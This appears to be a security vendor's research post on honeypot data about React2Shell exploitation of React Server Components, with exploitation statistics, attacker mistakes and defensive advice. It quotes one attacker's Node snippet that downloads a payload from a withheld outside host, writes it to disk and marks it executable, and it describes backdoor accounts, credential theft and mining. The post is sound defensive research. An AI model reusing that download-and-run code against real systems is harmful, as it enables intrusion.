React2Shell: 8 months later

Most scanning never became exploitation

Of 1,386 distinct addresses that scanned or probed the hosts, 19 executed a proof command (1.4%). Twelve continued into post-exploitation activity (0.87%). The 47 compromises were events rather than unique sources. Some sources compromised a host more than once.

Failure continued after entry. Operators repeatedly launched persistence, delivery and eviction branches without checking whether they worked.

Successful exploitation did not always create a process

Of the 1,560 exploit requests that reached the gadget, 20.3% spawned no child process. 3.1% also made no outbound connection and produced no distinguishing reverse-proxy record. The proxy returned HTTP 500 for all 1,560 requests whether the exploit succeeded or failed.

One operator delivered the same payload to the same path in two forms within minutes. The first used wget and a shell. The second resolved the fetch, write and permission change inside Node:

process.mainModule.require('http').get(
  'http://[address-withheld]/nuts/poop',
  r => r.pipe(require('fs').createWriteStream('/app/let')
    .on('finish', () => fs.chmodSync('/app/let', 0o711)))
)

Only the first form appeared in process-creation telemetry. Bitbison recorded both.

Two additional results define the limits of conventional evidence:

• Eight of nine recovered campaign samples were absent from public malware collections when we checked. Three are present now because we submitted them.
• A credential harvester stole a planted SSH key, fake AWS credentials, a wallet seed and the environment in 32 seconds. The key was never reused. The account worked. Outbound SSH was permitted and both ends were observed.

Operator bloopers

At the risk of helping the operators debug their code, the record contains an amusing set of post-compromise failures:

• A persistence branch attempted to create a backdoor account with passwordless sudo. The web user could not run useradd. Every result went to /dev/null, so it failed 74 times without informing the operator.
• The standalone Mini Shai-Hulud chain included a PHP fallback with a parse error. The operator eventually reached execution through another path.
• Another actor requested a payload URL with http:// duplicated before its redacted host. The payload existed on the actor's server, but the doubled scheme prevented delivery.
• A 124-byte watchdog attempted to trap SIGKILL. Linux does not permit this. The watchdog then restarted its implant every 60 seconds.
• The mining script tried to delete rondo from a stale path. Both implants ran together for ten hours without either operator noticing.
• The same miner retained XMRig's developer donation. Part of the cryptocurrency mined on compromised hosts went to XMRig's authors.

What defenders should do

• Resolve the installed React dependency instead of trusting the manifest. Many affected applications declared Next.js and received React transitively. npm ls --all reports the effective tree. Inspect the installed react-server-dom-* packages.
• Upgrade to a currently supported patched release. The React2Shell RCE patch remains effective, but later RSC flaws received CVE-2025-55183, CVE-2025-55184, CVE-2025-67779 and CVE-2026-23864.
• Record what request handlers do, not only the processes they spawn. A fifth of the activity in this window produced no process.
• Treat paths, hashes and public corpora as retrospective evidence rather than detection boundaries. Attackers used twelve drop directories and randomized names on each execution. Twenty-nine filenames did not represent 29 binaries.

Method and disclosure

Bitbison records and analyzes system operations and their complete causal histories without sampling at production scale.

We made this record a foundational property of the policy system. Our extensible data model let us attribute system-level side effects to application behavior exposed through standard OpenTelemetry instrumentation. Our internal harnesses and runtimes use the complete causal record to automate broad parts of the analysis with AI. Each result retains the source operations and causal edges needed for verification. The resulting record let us distinguish successful exploitation from failure even when an attempt created no child process, made no outbound connection and produced the same HTTP 500 response as every other attempt.

The measurements cover 48 hours across 13 independent exposure windows. Both detection systems ran throughout. The alternative used its stock ruleset. Neither system was tuned. Known research scanners were excluded before counting executing addresses.

Want more? Security researchers can contact us at team@. We are happy to share additional data.